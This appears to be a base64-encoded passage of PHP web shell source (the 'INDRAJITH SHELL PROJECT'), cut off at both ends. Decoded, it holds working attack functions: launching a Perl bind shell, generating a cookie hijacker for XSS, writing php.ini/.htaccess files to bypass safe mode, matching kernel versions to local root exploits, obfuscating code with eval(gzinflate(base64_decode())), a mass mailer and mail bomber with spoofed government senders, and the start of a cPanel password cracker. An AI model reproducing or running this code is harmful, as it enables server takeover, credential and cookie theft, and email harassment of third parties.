ICAgICAgIH0KICAgICAgICBmY2xvc2UoJGhhbmRscik7CiAgICAgICAgaWYoZmlsZV9leGlzdHMo
ImluZHJhaml0aF9wZXJsX2JpbmQucGwiKSkKICAgICAgICB7CiAgICAgICAgICAgIGlmKCRvcz09
Im5peCIpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGNtZCgiY2htb2QgK3ggaW5kcmFq
aXRoX3BlcmxfYmluZC5wbDtwZXJsIGluZHJhaml0aF9wZXJsX2JpbmQucGwgJHBvcnQiKTsKICAg
ICAgICAgICAgfQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAg
IGNtZCgicGVybCBpbmRyYWppdGhfcGVybF9iaW5kLnBsICRwb3J0Iik7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIGNvb2tpZV9qYWNrKCkKewogICAgZ2xvYmFsICRj
b29raWVfaGlnaGphY2tlcjsKICAgIGVjaG8gIjxkaXYgaWQ9cmVzdWx0PjxjZW50ZXI+PGgyPk5P
VElDRTwvaDI+PGhyLz4iOwogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdmb3BlbicpICYmIGZ1bmN0
aW9uX2V4aXN0cygnZndyaXRlJykpCiAgICB7CiAgICAgICAgJGNvb2s9Z3ppbmZsYXRlKGJhc2U2
NF9kZWNvZGUoJGNvb2tpZV9oaWdoamFja2VyKSk7CiAgICAgICAgJGhhbl9sZT1mb3Blbigiaml0
aF9jb29raWUucGhwIiwgIncrIik7CiAgICAgICAgaWYoJGhhbl9sZSkKICAgICAgICB7CiAgICAg
ICAgICAgIGZ3cml0ZSgkaGFuX2xlLCAkY29vayk7CiAgICAgICAgICAgIGVjaG8gIlllcy4uLiBD
b29raWUgaGlnaGphY2tlciBpcyBnZW5lcmF0ZWQuPGJyIC8+IE5hbWUgOiA8YSBzdHlsZT0nY29s
b3I6Z3JlZW47JyB0YXJnZXQ9X2JsYW5rIGhyZWY9aml0aF9jb29raWUucGhwPmppdGhfY29va2ll
LnBocDwvYT48L2ZvbnQ+LjxiciAvPiBSZW5hbWUgaXQgYXMgNDA0LnBocCBvciB3aGF0IHlvdSBs
aWtlIGFuZCBoaWdoamFjayBjb29raWUgb2YgeW91ciB0YXJnZXQuPGJyIC8+SXQgaXMgdXNlZnVs
bCBpbiBYU1M8YnIgLz5JdCB3aWxsIG1ha2UgYSBmaWxlIDxmb250IGNvbG9yPXJlZD5jb25maWd1
cmF0aW9uLnR4dDwvZm9udD4gaW4gdGhpcyBkaXJlY29yeSBhbmQgc2F2ZSB0aGUgY29va2llIHZh
bHVlIGluIGl0LiA6cCBjaGVlcnMuLi48YnIgLz48YnIgLz48aHIgLz48YnIgLz48YnIgLz48L2Nl
bnRlcj48L2Rpdj4iOwogICAgICAgIH0KICAgICAgICBlbHNlCiAgICAgICAgewogICAgICAgICAg
ICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+U29ycnkuLi4gR2VuZXJhdGUgQ09PS0lFIEhJR0hKQUNL
RVIgZmFpbGVkPGJyIC8+PGJyIC8+PGhyIC8+PGJyIC8+PGJyIC8+PC9jZW50ZXI+PC9kaXY+IjsK
ICAgICAgICB9CiAgICB9Cn0KCgoKZnVuY3Rpb24gc2FmZV9tb2RlX2Z1Y2soKQp7CiAgICBnbG9i
YWwgJHNfcGhwX2luaSwkc19odGFjY2Vzcywkc19odGFjY2Vzc19wbCwkaW5pX3BocDsKICAgICRw
YXRoID0gY2hkaXIoJF9HRVRbJ3BhdGgnXSk7CiAgICBjaGRpcigkX0dFVFsncGF0aCddKTsKICAg
IHN3aXRjaCgkX0dFVFsnc2FmZV9tb2RlJ10pCiAgICB7CiAgICAgICAgY2FzZSAic19waHBfaW5p
IjoKICAgICAgICAgICAgJHNfZmlsZT0kc19waHBfaW5pOwogICAgICAgICAgICAkc19uYW1lPSJw
aHAuaW5pIjsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAic19odGFjY2VzcyI6CiAg
ICAgICAgICAgICRzX25hbWU9Ii5odGFjY2VzcyI7CiAgICAgICAgICAgICRzX2ZpbGU9JHNfaHRh
Y2Nlc3M7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgInNfaHRhY2Nlc3NfcGwiOgog
ICAgICAgICAgICAkc19uYW1lPSIuaHRhY2Nlc3MiOwogICAgICAgICAgICAkc19maWxlPSRzX2h0
YWNjZXNzX3BsOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICJzX2luaV9waHAiOgog
ICAgICAgICAgICAkc19uYW1lPSJpbmkucGhwIjsKICAgICAgICAgICAgJHNfZmlsZT0kaW5pX3Bo
cDsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIAogICAgfQogICAgaWYoZnVuY3Rpb25f
ZXhpc3RzKCdmb3BlbicpJiYgZnVuY3Rpb25fZXhpc3RzKCdmd3JpdGUnKSkKICAgIHsKICAgICAg
ICAkc19oYW5kbGU9Zm9wZW4oIiRzX25hbWUiLCAidysiKTsKICAgICAgICBpZigkc19oYW5kbGUp
CiAgICAgICAgewogICAgICAgICAgICBmd3JpdGUoJHNfaGFuZGxlLCAkc19maWxlKTsKICAgICAg
ICAgICAgYWxlcnQoIk9wZXJhdGlvbiBTdWNjZWVkISEhIik7CiAgICAgICAgfQogICAgICAgIGVs
c2UKICAgICAgICB7CiAgICAgICAgICAgIGFsZXJ0KCJBY2Nlc3MgRGVuaWVkISEhIik7CiAgICAg
ICAgfQogICAgICAgIGZjbG9zZSgkc19oYW5kbGUpOwogICAgfQp9CmZ1bmN0aW9uIHNhZmVfbW9k
ZV9mdWNrX3VpKCkKewogICAgZ2xvYmFsICRwYXRoOwogICAgJHBhdGg9Z2V0Y3dkKCk7CiAgICBl
Y2hvICI8ZGl2IGlkPXJlc3VsdD48YnIgLz48Y2VudGVyPjxoMj5TZWxlY3QgWW91ciBPcHRpb25z
PC9oMj48aHIgLz4KICAgIDx0YWJsZSBjbGFzcz10Ymwgc2l6ZT0xMD48dHI+PHRkPjxhIGhyZWY9
P3BhdGg9eyRwYXRofSZhbXA7c2FmZV9tb2RlPXNfcGhwX2luaT5QSFAuSU5JPC9hPjwvdGQ+PHRk
PjxhIGhyZWY9P3BhdGg9eyRwYXRofSZhbXA7c2FmZV9tb2RlPXNfaHRhY2Nlc3M+LkhUQUNDRVNT
PC9hPjwvdGQ+PHRkPjxhIGhyZWY9P3BhdGg9eyRwYXRofSZhbXA7c2FmZV9tb2RlPXNfaHRhY2Nl
c3NfcGw+LkhUQUNDRVNTKHBlcmwpPC90ZD48dGQ+PGEgaHJlZj0/cGF0aD17JHBhdGh9JmFtcDtz
YWZlX21vZGU9c19pbmlfcGhwPklOSS5QSFA8L3RkPjwvdHI+PC90YWJsZT48YnIgLz48YnIgLz48
L2Rpdj4iOwp9CgoKZnVuY3Rpb24gQWNjZXNzRGVuaWVkKCkKewogICAgZ2xvYmFsICRwYXRoLCAk
Zm9yYmlkX2RpcjsKICAgICRwYXRoPSRfR0VUWydwYXRoJ107CiAgICBjaGRpcigkcGF0aCk7CiAg
ICBpZihmdW5jdGlvbl9leGlzdHMoJ2ZvcGVuJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmd3JpdGUn
KSkKICAgIHsKICAgICAgICAkZm9yYmlkPWZvcGVuKCIuaHRhY2Nlc3MiLCAid2IiKTsKICAgICAg
ICBpZigkZm9yYmlkKQogICAgICAgIHsKICAgICAgICAgICAgZndyaXRlKCRmb3JiaWQsICRmb3Ji
aWRfZGlyKTsKICAgICAgICAgICAgYWxlcnQoIk9wcmVhdGlvbiBTdWNjZWVkZWQiKTsKICAgICAg
ICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgYWxlcnQoIkFjY2VzcyBEZW5p
ZWQiKTsKICAgICAgICB9CiAgICAgICAgZmNsb3NlKCRmb3JiaWQpOwogICAgfQp9CgpmdW5jdGlv
biByMDB0X2V4cGxvaXQoKQp7CiAgICAka2VybmVsID0gcGhwX3VuYW1lKCk7CiAgICAkcjAwdF9k
YiA9IGFycmF5KCcyLjYuMTknPT4namVzc2ljYScsJzIuNi4yMCc9PidqZXNzaWNhJywnMi42LjIx
Jz0+J2plc3NpY2EnLCcyLjYuMjInPT4namVzc2ljYScsJzIuNi4yMyc9PidqZXNzaWNhLCB2bXNw
bGljZScsJzIuNi4yNCc9PidqZXNzaWNhLCB2bXNwaWNlJywnMi42LjMxJz0+J2VubGlnaHRtZW50
JywnMi42LjE4Jz0+J2JyaywgcHRyYWNlLCBrbW9kLCBicmsyJywnMi42LjE3Jz0+J3ByY3RsMywg
cmFwdG9yX3ByY3RsLCBweTInLCcyLjYuMTYnPT4ncmFwdG9yX3ByY3RsLCBleHAuc2gsIHJhcHRv
ciwgcmFwdG9yMiwgaDAwbHlzaGl0JywnMi42LjE1Jz0+J3B5MiwgZXhwLnNoLCByYXB0b3IsIHJh
cHRvcjIsIGgwMGx5c2hpdCcsJzIuNi4xNCc9PidyYXB0b3IsIHJhcHRvcjIsIGgwMGx5c2hpdCcs
JzIuNi4xMyc9PidrZHVtcCwgbG9jYWwyNiwgcHkyLCByYXB0b3JfcHJjdGwsIGV4cC5zaCwgcHJj
dGwzLCBoMDBseXNoaXQnLCcyLjYuMTInPT4naDAwbHlzaGl0JywnMi42LjExJz0+J2tyYWQzLCBr
cmFkLCBoMDBseXNoaXQnLCcyLjYuMTAnPT4naDAwbHlzaGl0LCBzdGFja2dyb3cyLCB1c2VsaWIy
NCwgZXhwLnNoLCBrcmFkLCBrcmFkMicsJzIuNi45Jz0+J2V4cC5zaCwga3JhZDMsIHB5MiwgcHJj
dGwzLCBoMDBseXNoaXQnLCcyLjYuOCc9PidoMDBseXNoaXQsIGtyYWQsIGtyYWQyJywnMi42Ljcn
PT4naDAwbHlzaGl0LCBrcmFkLCBrcmFkMicsJzIuNi42Jz0+J2gwMGx5c2hpdCwga3JhZCwga3Jh
ZDInLCcyLjYuMic9PidoMDBseXNoaXQsIGtyYWQsIG1yZW1hcF9wdGUnLCcyLjYuJz0+J3ByY3Rs
LCBrbWR4LCBuZXdzbXAsIHB3bmVkLCBwdHJhY2Vfa21vZCwgb25nX2JhaycsJzIuNC4yOSc9Pidl
bGZsYmwsIGV4cGFuZF9zdGFjaywgc3RhY2tncm93MiwgdXNlbGliMjQsIHNtcHJhY2VyJywnMi40
LjI3Jz0+J2VsZmR1bXAsIHVzZWxpYjI0JywnMi40LjI1Jz0+J3VzZWxpYjI0JywnMi40LjI0Jz0+
J21yZW1hcF9wdGUsIGxva28sIHVzZWxpYjI0JywnMi40LjIzJz0+J21yZW1hcF9wdGUsIGxva28s
IHVzZWxpYjI0JywnMi40LjIyJz0+J2xvZ2lueCwgYnJrLCBrbTIsIGxva28sIHB0cmFjZSwgdXNl
bGliMjQsIGJyazIsIHB0cmFjZS1rbW9kJywnMi40LjIxJz0+J3cwMHQsIGJyaywgdXNlbGliMjQs
IGxvZ2lueCwgYnJrMiwgcHRyYWNlLWttb2QnLCcyLjQuMjAnPT4nbXJlbWFwX3B0ZSwgdzAwdCwg
YnJrLCBhdmUsIHVzZWxpYjI0LCBsb2dpbngsIHB0cmFjZS1rbW9kLCBwdHJhY2UsIGttb2QnLCcy
LjQuMTknPT4nbmV3bG9jYWwsIHcwMHQsIGF2ZSwgdXNlbGliMjQsIGxvZ2lueCwga21vZCcsJzIu
NC4xOCc9PidrbTIsIHcwMHQsIHVzZWxpYjI0LCBsb2dpbngsIGttb2QnLCcyLjQuMTcnPT4nbmV3
bG9jYWwsIHcwMHQsIHVzZWxpYjI0LCBsb2dpbngsIGttb2QnLCcyLjQuMTYnPT4ndzAwdCwgdXNl
bGliMjQsIGxvZ2lueCcsJzIuNC4xMCc9Pid3MDB0LCBicmssIHVzZWxpYjI0LCBsb2dpbngnLCcy
LjQuOSc9PidwdHJhY2UyNCwgdXNlbGliMjQnLCcyLjQuJz0+J2ttZHgsIHJlbWFwLCBwd25lZCwg
cHRyYWNlX2ttb2QsIG9uZ19iYWsnLCcyLjIuMjUnPT4nbXJlbWFwX3B0ZScsJzIuMi4yNCc9Pidw
dHJhY2UnLCcyLjIuJz0+J3JpcCxwdHJhY2UnKTsKICAgIGZvcmVhY2goJHIwMHRfZGIgYXMgJGtl
cm49PiRleHApCiAgICB7CiAgICAgICAgaWYoc3Ryc3RyKCRrZXJuZWwsICRrZXJuKSkKICAgICAg
ICB7CiAgICAgICAgICAgIHJldHVybiAkZXhwOwogICAgICAgIH0KCWVsc2UKICAgICAgICB7CiAg
ICAgICAgICAgICRleHA9Jzxmb250IGNvbG9yPSJyZWQiPk5vdCBmb3VuZC48L2ZvbnQ+JzsKICAg
ICAgICAgICAgcmV0dXJuICRleHA7CiAgICAgICAgfQogICAgfQp9CgpmdW5jdGlvbiBwaHBfZW5k
ZV91aSgpCnsKICAgIGVjaG8gIjxkaXYgaWQ9cmVzdWx0PjxjZW50ZXI+PGgyPlBIUCBFTkNPREUv
REVDT0RFPC9oMj48L2NlbnRlcj48aHIgLz48Zm9ybSBtZXRob2Q9J3Bvc3QnPjx0YWJsZSBjbGFz
cz10Ymw+CiAgICA8dHI+PHRkPgogICAgTWV0aG9kIDogPHNlbGVjdCBuYW1lPSd0eXBlZCcgc3R5
bGU9J2NvbG9yOmdyZWVuOyBiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyBib3JkZXI6MXB4IHNvbGlk
ICM2NjY7Jz48b3B0aW9uPkVuY29kZTwvb3B0aW9uPjxvcHRpb24+RGVjb2RlPC9kZWNvZGU+PC9z
ZWxlY3Q+IFRZUEUgOiA8c2VsZWN0IG5hbWU9J3R5cGVuYycgc3R5bGU9J2NvbG9yOmdyZWVuOyBi
YWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyBib3JkZXI6MXB4IHNvbGlkICM2NjY7Jz48b3B0aW9uPkda
SU5GTEFURTwvb3B0aW9uPjxvcHRpb24+R1pVTkNPTVBSRVNTPC9vcHRpb24+PG9wdGlvbj5TVFJf
Uk9UMTM8L29wdGlvbj48L3RyPgogICAgPC90ZD48dHI+PHRkPjx0ZXh0YXJlYSBzcGVsbGNoZWNr
PSdmYWxzZScgY2xhc3M9dGV4dGFyZWFfZWRpdCBjb2xzPSc4MCcgcm93cz0nMjUnIG5hbWU9J3Bo
cF9jb250ZW50Jz5JTlBVVCBZT1VSIENPTlRFTlQgVE8gRU5DT0RFL0RFQ09ERQoKRm9yIEVuY29k
ZSBJbnB1dCB5b3VyIGZ1bGwgc291cmNlIGNvZGUuCgpGb3IgRGVjb2RlIElucHV0IHRoZSBlbmNv
ZGVkIHBhcnQgb25seS48L3RleHRhcmVhPjwvdHI+PC90ZD48L3RhYmxlPjxociAvPjxpbnB1dCBj
bGFzcz0naW5wdXRfYmlnJyB0eXBlPSdzdWJtaXQnIHZhbHVlPScgICA+PiAgICcgLz48YnIgLz48
aHIgLz48YnIgLz48YnIgLz48L2Zvcm0+PC9kaXY+IjsKfQpmdW5jdGlvbiBwaHBfZW5kZV9iZygp
CnsKICAgICRtZXRoX2Q9JF9QT1NUWyd0eXBlZCddOwogICAgJHR5cF9kPSRfUE9TVFsndHlwZW5j
J107CiAgICAkY19udGVudD0kX1BPU1RbJ3BocF9jb250ZW50J107CiAgICAkY19udGVudD0kY19u
dGVudDsKICAgIHN3aXRjaCgkbWV0aF9kKQogICAgewogICAgICAgIGNhc2UgIkVuY29kZSI6CiAg
ICAgICAgICAgIHN3aXRjaCgkdHlwX2QpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGNh
c2UgIkdaSU5GTEFURSI6CiAgICAgICAgICAgICAgICAgICAgJHJlc190PWJhc2U2NF9lbmNvZGUo
Z3pkZWZsYXRlKHRyaW0oc3RyaXBzbGFzaGVzKCRjX250ZW50LicgJyksJzw/cGhwLCA/PicpLDkp
KTsKICAgICAgICAgICAgICAgICAgICAkcmVzX3Q9Ijw/cGhwIC8qIEVuY29kZWQgaW4gSU5EUkFK
SVRIIFNIRUxMIFBST0pFQ1QgKi8gZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZShcIiRyZXNf
dFwiKSkpOyA/PiI7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBj
YXNlICJHWlVOQ09NUFJFU1MiOgogICAgICAgICAgICAgICAgICAgICRyZXNfdD1iYXNlNjRfZW5j
b2RlKGd6Y29tcHJlc3ModHJpbShzdHJpcHNsYXNoZXMoJGNfbnRlbnQuJyAnKSwnPD9waHAsID8+
JyksOSkpOwogICAgICAgICAgICAgICAgICAgICRyZXNfdD0iPD9waHAgLyogRW5jb2RlZCBpbiBJ
TkRSQUpJVEggU0hFTEwgUFJPSkVDVCAqLyBldmFsKGd6dW5jb21wcmVzcyhiYXNlNjRfZGVjb2Rl
KFwiJHJlc190XCIpKSk7ID8+IjsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAg
ICAgICAgIGNhc2UgIlNUUl9ST1QxMyI6CiAgICAgICAgICAgICAgICAgICAgJHJlc190PXRyaW0o
c3RyaXBzbGFzaGVzKCRjX250ZW50LicgJyksJzw/cGhwLCA/PicpOwogICAgICAgICAgICAgICAg
ICAgICRyZXNfdD1iYXNlNjRfZW5jb2RlKHN0cl9yb3QxMygkcmVzX3QpKTsKICAgICAgICAgICAg
ICAgICAgICAkcmVzX3Q9Ijw/cGhwIC8qIEVuY29kZWQgaW4gSU5EUkFKSVRIIFNIRUxMIFBST0pF
Q1QgKi8gZXZhbChzdHJfcm90MTMoYmFzZTY0X2RlY29kZShcIiRyZXNfdFwiKSkpOyA/PiI7CiAg
ICAgICAgICAgICAgICAgICAgYnJlYWs7ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgIH0K
ICAgICAgICBicmVhazsKICAgICAgICBjYXNlICJEZWNvZGUiOgogICAgICAgICAgICBzd2l0Y2go
JHR5cF9kKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBjYXNlICJHWklORkxBVEUiOgog
ICAgICAgICAgICAgICAgICAgICRyZXNfdD1nemluZmxhdGUoYmFzZTY0X2RlY29kZSgkY19udGVu
dCkpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAiR1pV
TkNPTVBSRVNTIjoKICAgICAgICAgICAgICAgICAgICAkcmVzX3Q9Z3p1bmNvbXByZXNzKGJhc2U2
NF9kZWNvZGUoJGNfbnRlbnQpKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAg
ICAgICAgIGNhc2UgIlNUUl9ST1QxMyI6CiAgICAgICAgICAgICAgICAgICAgJHJlc190PXN0cl9y
b3QxMyhiYXNlNjRfZGVjb2RlKCRjX250ZW50KSk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7
ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgIH0KICAgICAgICBicmVhazsKICAgIH0KICAg
IGVjaG8gIjxkaXYgaWQ9cmVzdWx0PjxjZW50ZXI+PGgyPklORFJBSklUSCBTSEVMTDwvaDI+PGhy
IC8+PHRleHRhcmVhIHNwZWxsY2hlY2s9J2ZhbHNlJyBjbGFzcz10ZXh0YXJlYV9lZGl0IGNvbHM9
JzgwJyByb3dzPScyNSc+Ii5odG1sc3BlY2lhbGNoYXJzKCRyZXNfdCkuIjwvdGV4dGFyZWE+PC9j
ZW50ZXI+PC9kaXY+IjsKfQoKZnVuY3Rpb24gbWFzc21haWxlcl91aSgpCnsKICAgIGVjaG8gIjxk
aXYgaWQ9cmVzdWx0PjxjZW50ZXI+PGgyPk1BU1MgTUFJTEVSICYgTUFJTCBCT01CRVI8L2gyPjxo
ciAvPjx0YWJsZSBjbGFzcz10Ymwgd2lkdGg9NDAgc3R5bGU9J2NvbC13aWR0aDo0MCc+PHRkPjx0
YWJsZSBjbGFzcz10Ymw+PHRyIHN0eWxlPSdmbG9hdDpsZWZ0Oyc+PHRkPjxmb250IGNvbG9yPWdy
ZWVuIHNpemU9ND5NYXNzIE1haWw8L2ZvbnQ+PC90ZD48L3RyPjxmb3JtIG1ldGhvZD0nUE9TVCc+
PHRyIHN0eWxlPSdmbG9hdDpsZWZ0Oyc+PHRkPiBGUk9NIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9
J2Zyb20nIHNpemU9NDAgdmFsdWU9J2FqaXRoa3A1NjBAZmJpLmdvdic+PC90ZD48L3RyPjx0ciAg
c3R5bGU9J2Zsb2F0OmxlZnQ7Jz48dGQ+VE8gOjwvdGQ+PHRkPjxpbnB1dCBzaXplPTQwIG5hbWU9
J3RvX21haWwnIHZhbHVlPSdhaml0aGtwNTYwQGdtYWlsLmNvbSxhaml0aGtwNTYwQHlhaG9vLmNv
bSc+PC90ZD48L3RyPjx0ciAgc3R5bGU9J2Zsb2F0OmxlZnQ7Jz48dGQ+U3ViamVjdCA6PC90ZD48
dGQ+PGlucHV0IHNpemU9NDAgbmFtZT0nc3ViamVjdF9tYWlsJyB2YWx1ZT0nSGksIEd1eVonPjwv
dGQ+PC90cj48dHIgc3R5bGU9J2Zsb2F0OmxlZnQ7Jz48dGQ+PHRleHRhcmVhIHNwZWxsY2hlY2s9
J2ZhbHNlJyBjbGFzcz10ZXh0YXJlYV9lZGl0IGNvbHM9JzM0JyByb3dzPScxMCcgbmFtZT0nbWFp
bF9jb250ZW50Jz5JJ20gZG9pbmcgbWFzc21haWwgOnA8L3RleHRhcmVhPjwvdGQ+PHRkPjxpbnB1
dCBjbGFzcz0naW5wdXRfYmlnJyB0eXBlPSdzdWJtaXQnIHZhbHVlPScgICA+PiAgICc+PC90ZD48
L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+CiAgICA8Zm9ybSBtZXRob2Q9J3Bvc3QnPjx0ZD4gPHRh
YmxlIGNsYXNzPSd0YmwnPjx0ZD48Zm9udCBjb2xvcj1ncmVlbiBzaXplPTQ+TWFpbCBCb21iZXI8
L2ZvbnQ+PC90ZD48L3RyPjx0ciBzdHlsZT0nZmxvYXQ6bGVmdDsnPjx0ZD5UTyA6IDwvdGQ+PHRk
PjxpbnB1dCBzaXplPTQwIG5hbWU9J2JvbWJfdG8nIHZhbHVlPSdhaml0aGtwNTYwQGdtYWlsLmNv
bSxhaml0aGtwNTYwX21haWxfYm9tYkBmYmkuZ292Jz48L3RkPjwvdHI+PHRyIHN0eWxlPSdmbG9h
dDpsZWZ0Oyc+PHRkPlN1YmplY3QgOiA8L3RkPjx0ZD48aW5wdXQgc2l6ZT00MCBuYW1lPSdib21i
X3N1YmplY3QnIHZhbHVlPSdCb21iaW5nIHdpdGggbWVzc2FnZXMnPjwvdGQ+PC90cj48dHIgc3R5
bGU9J2Zsb2F0OmxlZnQ7Jz48dGQ+Tm8uIG9mIHRpbWVzPC90ZD48dGQ+PGlucHV0IHNpemU9NDAg
bmFtZT0nYm9tYl9ubycgdmFsdWU9JzEwMCc+PC90ZD48L3RyPjx0ciBzdHlsZT0nZmxvYXQ6bGVm
dDsnPjx0ZD4gPHRleHRhcmVhIHNwZWxsY2hlY2s9J2ZhbHNlJyBjbGFzcz10ZXh0YXJlYV9lZGl0
IGNvbHM9JzM0JyByb3dzPScxMCcgbmFtZT0nYm1haWxfY29udGVudCc+SSdtIGRvaW5nICBFLU1h
aWwgQm9tYmluZyA6cDwvdGV4dGFyZWE+IDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0naW5wdXRfYmln
JyB0eXBlPSdzdWJtaXQnIHZhbHVlPScgICA+PiAgICc+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxl
PiAgIDwvdGQ+PC90cj48L3RhYmxlPiI7Cn0KCmZ1bmN0aW9uIG1hc3NtYWlsZXJfYmcoKQp7CiAg
ICAkZnJvbT0kX1BPU1RbJ2Zyb20nXTsKICAgICR0bz0kX1BPU1RbJ3RvX21haWwnXTsKICAgICRz
dWJqZWN0PSRfUE9TVFsnc3ViamVjdF9tYWlsJ107CiAgICAkbWVzc2FnZT0kX1BPU1RbJ21haWxf
Y29udGVudCddOwogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdtYWlsJykpCiAgICB7CiAgICAgICAg
aWYobWFpbCgkdG8sJHN1YmplY3QsJG1lc3NhZ2UsIkZyb206JGZyb20iKSkKICAgICAgICB7CiAg
ICAgICAgICAgIGVjaG8gIjxkaXYgaWQ9cmVzdWx0PjxjZW50ZXI+PGgyPk1BSUwgQk9NQklORzwv
aDI+PGhyIC8+PGJyIC8+PGJyIC8+PGZvbnQgY29sb3I9Z3JlZW4gc2l6ZT00PlN1Y2Nlc3NmdWxs
eSBNYWlscyBTZW5kLi4uIDpwPC9mb250PjxiciAvPjxiciAvPjxociAvPjxiciAvPjxiciAvPiI7
CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgIGVjaG8gIjxkaXYg
aWQ9cmVzdWx0PjxjZW50ZXI+PGgyPk1BSUwgQk9NQklORzwvaDI+PGhyIC8+PGJyIC8+PGJyIC8+
PGZvbnQgY29sb3I9cmVkIHNpemU9ND5Tb3JyeSwgZmFpbGVkIHRvIE1haWxzIFNlbmRpbmcuLi4g
Oig8L2ZvbnQ+PGJyIC8+PGJyIC8+PGhyIC8+PGJyIC8+PGJyIC8+IjsKICAgICAgICB9CiAgICB9
CiAgICBlbHNlCiAgICB7CiAgICAgICAgZWNobyAiPGRpdiBpZD1yZXN1bHQ+PGNlbnRlcj48aDI+
TUFJTCBCT01CSU5HPC9oMj48aHIgLz48YnIgLz48YnIgLz48Zm9udCBjb2xvcj1yZWQgc2l6ZT00
PlNvcnJ5LCBmYWlsZWQgdG8gTWFpbHMgU2VuZGluZy4uLiA6KDwvZm9udD48YnIgLz48YnIgLz48
aHIgLz48YnIgLz48YnIgLz4iOwogICAgfQp9CgpmdW5jdGlvbiBtYWlsYm9tYl9iZygpCnsKICAg
ICRyYW5kPXJhbmQoMCwgOTk5OTk5OSk7CiAgICAkdG89JF9QT1NUWydib21iX3RvJ107CiAgICAk
ZnJvbT0icHJlc2lkZW50XyRyYW5kQHdoaXRld2hpdGVob3VzZS5nb3YiOwogICAgJHN1YmplY3Q9
JF9QT1NUWydib21iX3N1YmplY3QnXS4iIElEICIuJHJhbmQ7CiAgICAkdGltZXM9JF9QT1NUWydi
b21iX25vJ107CiAgICAkY29udGVudD0kX1BPU1RbJ2JtYWlsX2NvbnRlbnQnXTsKICAgIGlmKCR0
aW1lcz09JycpCiAgICB7CiAgICAgICAgJHRpbWVzPTEwMDA7CiAgICB9CiAgICB3aGlsZSgkdGlt
ZXMtLSkKICAgIHsKICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ21haWwnKSkKICAgICAgICB7
CiAgICAgICAgICAgIGlmKG1haWwoJHRvLCRzdWJqZWN0LCRtZXNzYWdlLCJGcm9tOiRmcm9tIikp
CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGVjaG8gIjxkaXYgaWQ9cmVzdWx0PjxjZW50
ZXI+PGgyPk1BSUwgQk9NQklORzwvaDI+PGhyIC8+PGJyIC8+PGJyIC8+PGZvbnQgY29sb3I9Z3Jl
ZW4gc2l6ZT00PlN1Y2Nlc3NmdWxseSBNYWlscyBCb21iZWQuLi4gOnA8L2ZvbnQ+PGJyIC8+PGJy
IC8+PGhyIC8+PGJyIC8+PGJyIC8+IjsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlCiAg
ICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGVjaG8gIjxkaXYgaWQ9cmVzdWx0PjxjZW50ZXI+
PGgyPk1BSUwgQk9NQklORzwvaDI+PGhyIC8+PGJyIC8+PGJyIC8+PGZvbnQgY29sb3I9cmVkIHNp
emU9ND5Tb3JyeSwgZmFpbGVkIHRvIE1haWxzIEJvbWJpbmcuLi4gOig8L2ZvbnQ+PGJyIC8+PGJy
IC8+PGhyIC8+PGJyIC8+PGJyIC8+IjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBl
bHNlCiAgICAgICAgewogICAgICAgICAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxo
Mj5NQUlMIEJPTUJJTkc8L2gyPjxociAvPjxiciAvPjxiciAvPjxmb250IGNvbG9yPXJlZCBzaXpl
PTQ+U29ycnksIGZhaWxlZCB0byBNYWlscyBCb21iaW5nLi4uIDooPC9mb250PjxiciAvPjxiciAv
PjxociAvPjxiciAvPjxiciAvPiI7CiAgICAgICAgfQogICAgfQp9CgoKLyogLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0gQ1BBTkVMIENSQUNLIGlzIENvcGllZCBmcm9tIGNwYW5lbCBjcmFja2VyIC0t
LS0tLS0tLS0qLwovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSBDcmVkaXQgR29lcyB0byBUaGVt
IC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovCmZ1bmN0aW9uIGNwYW5lbF9jaGVj
aygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCkKewogICAgc2V0X3RpbWVfbGltaXQoMCk7CiAg
ICBnbG9iYWwgJGNwYW5lbF9wb3J0OwogICAgJGNoID0gY3VybF9pbml0KCk7CiAgICBjdXJsX3Nl
dG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiaHR0cDovLyRob3N0OiIgLiAkY3BhbmVsX3BvcnQpOwog
ICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKICAgIGN1cmxf
